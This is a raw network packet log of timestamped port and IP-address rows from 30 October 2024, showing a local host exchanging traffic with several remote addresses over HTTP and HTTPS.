Oct 30, 2024 15:59:10.365359068 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.365381002 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.365391016 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.365396023 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.365406990 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.365427971 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.365458012 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.365535021 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.365545988 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.365571976 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.365617990 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.365896940 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.365945101 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.366188049 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.366190910 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.366246939 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.366276026 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.418781042 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.418801069 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.418828011 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.418848991 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.418896914 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.418927908 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.418941021 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.418946981 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.418953896 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.418967009 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.418973923 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.419007063 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.419081926 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.419107914 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.419116974 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.419150114 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.419189930 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.419197083 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.419250965 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.419272900 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.419284105 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.419291973 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.419338942 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.419698954 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.419711113 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.419720888 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.419727087 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.419775963 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.419888020 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.419893980 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.419905901 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.419917107 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.419926882 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.419967890 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.419996977 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.420033932 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.420284033 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.420289040 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.420300007 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.420305967 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.420324087 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.420366049 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.420454025 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.420464993 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.420470953 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.420483112 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.420490026 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.420496941 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.420541048 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.420917988 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.420964003 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.420995951 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.421008110 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.421029091 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.421030998 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.421035051 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.421071053 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.481962919 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.481981039 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.482006073 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.482037067 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.482076883 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.482083082 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.482095003 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.482117891 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.482124090 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.482142925 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.482144117 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.482161045 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.482178926 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.482237101 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.482249975 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.482270002 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.482274055 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.482283115 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.482306957 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.482316971 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.482319117 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.482348919 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.482352972 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.482384920 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.482811928 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.482822895 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.482830048 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.482893944 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.482922077 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.482933998 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.482954979 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.482956886 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.482985020 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.535953045 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.535984039 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.536003113 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.536014080 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.536011934 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.536046028 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.536046982 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.536056995 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.536076069 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.536087990 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.536098957 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.536120892 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.536468029 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.536478996 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.536499977 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.536510944 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.536511898 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.536530972 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.536562920 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.536571026 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.536582947 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.536609888 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.536608934 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.536617041 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.536621094 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.536634922 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.536644936 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.536663055 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.536689997 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.541409969 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.541446924 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.541464090 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.541502953 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.541555882 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.541568995 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.541591883 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.541594028 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.541621923 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.541660070 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.541672945 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.541688919 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.541690111 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.541698933 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.541707993 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.541718006 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.541728973 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.541735888 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.541753054 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.541759968 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.541819096 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.541832924 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.541855097 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.541866064 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.541871071 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.541894913 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.541897058 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.541906118 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.541938066 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.578907967 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.578923941 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.578949928 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.579008102 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.579046011 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.581286907 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.581351042 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.598938942 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.598973036 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.598988056 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.599001884 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.599014044 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.599030018 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.599040031 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.599059105 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.599069118 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.599101067 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.599112988 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.599168062 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.599328995 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.599339008 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.599356890 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.599368095 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.599374056 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.599390030 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.599391937 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.599411964 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.599450111 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.599538088 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.599550009 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.599589109 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.741139889 CET	443	49733	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:10.754209042 CET	443	49734	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:10.762082100 CET	443	49732	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:10.792747974 CET	49733	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:10.810503960 CET	49734	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:10.810525894 CET	49732	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:10.862076044 CET	443	49735	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:10.917779922 CET	49735	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:10.943451881 CET	49735	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:10.943470001 CET	443	49735	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:10.944039106 CET	49735	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:10.944045067 CET	443	49735	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:10.944353104 CET	49733	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:10.944360018 CET	443	49733	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:10.944758892 CET	49733	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:10.944767952 CET	443	49733	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:10.944986105 CET	49734	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:10.944999933 CET	443	49734	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:10.945354939 CET	49734	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:10.945362091 CET	443	49734	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:10.945687056 CET	49732	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:10.945692062 CET	443	49732	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:10.946064949 CET	49732	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:10.946069002 CET	443	49732	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:11.071158886 CET	443	49733	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:11.071244001 CET	443	49733	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:11.071306944 CET	49733	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:11.071532965 CET	49733	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:11.071556091 CET	443	49733	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:11.071566105 CET	49733	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:11.071572065 CET	443	49733	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:11.073570013 CET	443	49734	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:11.073759079 CET	443	49734	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:11.073823929 CET	49734	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:11.074167967 CET	49734	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:11.074184895 CET	443	49734	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:11.074196100 CET	49734	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:11.074203014 CET	443	49734	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:11.075970888 CET	49737	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:11.076023102 CET	443	49737	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:11.076101065 CET	49737	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:11.076517105 CET	443	49735	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:11.076828957 CET	443	49735	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:11.076879978 CET	49735	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:11.077164888 CET	49738	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:11.077214003 CET	443	49738	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:11.077270985 CET	49738	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:11.077393055 CET	49737	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:11.077414036 CET	443	49737	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:11.077560902 CET	49735	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:11.077568054 CET	443	49735	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:11.077578068 CET	49735	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:11.077580929 CET	443	49735	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:11.078545094 CET	49738	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:11.078562975 CET	443	49738	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:11.079613924 CET	49739	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:11.079634905 CET	443	49739	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:11.079644918 CET	443	49732	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:11.079742908 CET	49739	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:11.079757929 CET	443	49732	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:11.079811096 CET	49732	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:11.080106020 CET	49739	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:11.080120087 CET	443	49739	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:11.080238104 CET	49732	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:11.080238104 CET	49732	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:11.080245972 CET	443	49732	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:11.080254078 CET	443	49732	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:11.082200050 CET	49740	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:11.082237959 CET	443	49740	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:11.082298040 CET	49740	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:11.082412958 CET	49740	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:11.082428932 CET	443	49740	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:11.352190971 CET	443	49736	40.113.103.199	192.168.2.6
Oct 30, 2024 15:59:11.352268934 CET	49736	443	192.168.2.6	40.113.103.199
Oct 30, 2024 15:59:11.354641914 CET	49736	443	192.168.2.6	40.113.103.199
Oct 30, 2024 15:59:11.354652882 CET	443	49736	40.113.103.199	192.168.2.6
Oct 30, 2024 15:59:11.355457067 CET	443	49736	40.113.103.199	192.168.2.6
Oct 30, 2024 15:59:11.357863903 CET	49736	443	192.168.2.6	40.113.103.199
Oct 30, 2024 15:59:11.357933998 CET	49736	443	192.168.2.6	40.113.103.199
Oct 30, 2024 15:59:11.357939959 CET	443	49736	40.113.103.199	192.168.2.6
Oct 30, 2024 15:59:11.358412027 CET	49736	443	192.168.2.6	40.113.103.199
Oct 30, 2024 15:59:11.399333954 CET	443	49736	40.113.103.199	192.168.2.6
Oct 30, 2024 15:59:11.606739998 CET	443	49736	40.113.103.199	192.168.2.6
Oct 30, 2024 15:59:11.607322931 CET	49736	443	192.168.2.6	40.113.103.199
Oct 30, 2024 15:59:11.607338905 CET	443	49736	40.113.103.199	192.168.2.6
Oct 30, 2024 15:59:11.607362032 CET	49736	443	192.168.2.6	40.113.103.199
Oct 30, 2024 15:59:11.607404947 CET	49736	443	192.168.2.6	40.113.103.199
Oct 30, 2024 15:59:11.811146975 CET	443	49737	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:11.823060989 CET	443	49738	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:11.851593018 CET	443	49740	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:11.852262020 CET	49737	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:11.860878944 CET	443	49739	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:11.863653898 CET	49739	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:11.863686085 CET	443	49739	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:11.864181042 CET	49739	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:11.864187956 CET	443	49739	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:11.864505053 CET	49737	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:11.864511013 CET	443	49737	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:11.864912987 CET	49737	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:11.864921093 CET	443	49737	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:11.865884066 CET	49738	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:11.865902901 CET	443	49738	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:11.866290092 CET	49738	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:11.866296053 CET	443	49738	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:11.879234076 CET	49740	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:11.879256964 CET	443	49740	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:11.879848003 CET	49740	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:11.879853010 CET	443	49740	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:11.991245985 CET	443	49739	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:11.991339922 CET	443	49739	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:11.991425991 CET	49739	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:11.991864920 CET	443	49737	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:11.992392063 CET	443	49737	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:11.992441893 CET	49737	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:11.999665976 CET	443	49738	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:11.999717951 CET	443	49738	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:11.999773979 CET	49738	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:12.012521982 CET	443	49740	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:12.012623072 CET	443	49740	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:12.012690067 CET	49740	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:12.150095940 CET	49740	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:12.150111914 CET	443	49740	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:12.150113106 CET	49739	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:12.150144100 CET	49740	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:12.150150061 CET	443	49740	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:12.150152922 CET	443	49739	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:12.150167942 CET	49739	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:12.150176048 CET	443	49739	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:12.154980898 CET	49737	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:12.154988050 CET	443	49737	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:12.155020952 CET	49737	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:12.155025005 CET	443	49737	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:12.157629967 CET	49738	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:12.157645941 CET	443	49738	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:12.157655954 CET	49738	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:12.157660961 CET	443	49738	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:12.170092106 CET	49744	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:12.170123100 CET	443	49744	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:12.170191050 CET	49744	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:12.170598030 CET	49744	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:12.170612097 CET	443	49744	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:12.206773043 CET	49745	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:12.206793070 CET	443	49745	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:12.206857920 CET	49745	443	192.168.2.6	13.107.246.45
